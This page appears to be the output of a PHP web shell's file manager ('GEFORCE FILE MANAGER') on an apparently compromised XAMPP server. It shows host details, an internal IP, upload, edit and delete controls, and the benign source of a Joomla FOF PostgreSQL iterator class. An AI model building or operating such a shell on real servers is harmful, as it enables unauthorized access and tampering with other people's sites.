[ SYSTEM ]: Windows NT SWD-ELEARN-11 10.0 build 20348 (Windows Server 2016) AMD64
[ SERVER ]: Apache/2.4.41 (Win64) OpenSSL/1.1.1c PHP/7.3.9 | PHP: 7.3.9
[ USER ]: Elearn | IP: 10.201.204.156
GEFORCE FILE MANAGER
/
C:
/
xampp
/
htdocs
/
Ajaji
/
backup
/
libraries
/
fof
/
database
/
iterator
/
UPLOAD:
NAME
SIZE
QUICK PERMS
ACTIONS
📄 azure.php
593 B
SET
[ EDIT ]
|
[ DEL ]
📄 mysql.php
1,297 B
SET
[ EDIT ]
|
[ DEL ]
📄 mysqli.php
1,302 B
SET
[ EDIT ]
|
[ DEL ]
📄 oracle.php
588 B
SET
[ EDIT ]
|
[ DEL ]
📄 pdo.php
1,575 B
SET
[ EDIT ]
|
[ DEL ]
📄 pdomysql.php
590 B
SET
[ EDIT ]
|
[ DEL ]
📄 postgresql.php
1,304 B
SET
[ EDIT ]
|
[ DEL ]
📄 sqlsrv.php
1,304 B
SET
[ EDIT ]
|
[ DEL ]
DELETE SELECTED
[ CLOSE ]
EDIT: postgresql.php
<?php /** * @package FrameworkOnFramework * @subpackage database * @copyright Copyright (C) 2010-2016 Nicholas K. Dionysopoulos / Akeeba Ltd. All rights reserved. * @license GNU General Public License version 2 or later; see LICENSE.txt * * This file is adapted from the Joomla! Platform. It is used to iterate a database cursor returning FOFTable objects * instead of plain stdClass objects */ // Protect from unauthorized access defined('FOF_INCLUDED') or die; /** * PostgreSQL database iterator. */ class FOFDatabaseIteratorPostgresql extends FOFDatabaseIterator { /** * Get the number of rows in the result set for the executed SQL given by the cursor. * * @return integer The number of rows in the result set. * * @see Countable::count() */ public function count() { return @pg_num_rows($this->cursor); } /** * Method to fetch a row from the result set cursor as an object. * * @return mixed Either the next row from the result set or false if there are no more rows. */ protected function fetchObject() { return @pg_fetch_object($this->cursor, null, $this->class); } /** * Method to free up the memory used for the result set. * * @return void */ protected function freeResult() { @pg_free_result($this->cursor); } }